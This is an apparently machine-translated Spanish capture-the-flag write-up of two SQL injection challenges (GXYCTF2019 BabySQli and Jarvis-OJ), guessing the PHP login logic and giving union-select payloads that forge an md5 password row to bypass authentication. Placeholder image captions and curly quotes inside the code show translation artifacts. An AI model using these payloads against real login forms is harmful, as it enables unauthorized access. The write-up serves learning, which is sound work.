[GXYCTF2019] BabySQli, [Jarvis-OJ-Web] Inyección simple adivinando instrucción SQL de back-end

[GXYCTF2019] BabySQli

Conjetura de declaración de juicio de back-end

<?php
$row;
$pass=$_POST['pw'];
if($row['username']==’admin’)
{
    
     
	if($row['password']==md5($pass))
	{
    
     
		echo $flag;
	}
	else{
    
     
		echo “wrong pass!”;
 	}
}else{
    
     echo “wrong user!”;}

carga útil:

'union select 1,’admin’,202cb962ac59075b964b07152d234b70#

pasar entrada 123 '



[Jarvis-OJ-Web] Inyección simple

Inserte la descripción de la imagen aquí

Bajo una prueba simple, se encuentra que hay dos ecos de error: error de contraseña y error de nombre de usuario. Aquí está la similitud entre las dos preguntas

Hay dos resultados de devolución de error en la página, error de nombre de usuario y error de contraseña, y al ingresar nombres de usuario que no sean admin, se muestra el error de nombre de usuario, por lo que puede estar seguro de que admin es un usuario
y luego adivinar que su lógica de procesamiento puede ser: use el nombre de usuario ingresado como La condición where consulta la contraseña. Si existe y el resultado de la consulta es el mismo que la contraseña ingresada, la bandera se explotará. Si no coincide, se devolverá el error de contraseña, y si el resultado de la consulta no existe, se informará el error de nombre de usuario. El código lógico es similar al siguiente:

$res = query(select password from user where username=$_POST['username']);//query函数为了简便瞎写了
if($res)    //查询返回结果不为空集
{
    
    
    if(fetch($res)===md5($_POST['password'])){
    
      //fetch函数为图简便,也是瞎写的。
        echo $flag;
    }
    else{
    
       //密码不匹配
        echo "密码错误";
    }
}
else{
    
    
    echo "用户名错误";
}

Entonces podemos ingresar un nombre de usuario que no existe, combinar la declaración de selección de unión para crear manualmente una contraseña como resultado de la declaración de consulta SQL, y luego ingresar la contraseña falsa que creamos en el cuadro de contraseña para omitir.
Por ejemplo, ingrese username = miracle778 '/ / union (select (123)) # & password = 123, el resultado es que se devuelve el error de contraseña y no se informa el error de nombre de usuario. Esto muestra que nuestro método es efectivo, pero el servidor puede usarlo al comparar contraseñas. Cifrado hash, aquí se especula que se utiliza cifrado md5. Así que ingrese username = miracle778 '/ / union (select (md5 (' 123 '))) # & password = 123, obtenga la bandera con éxito

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/qq_42812036/article/details/104416564
Recomendado
Clasificación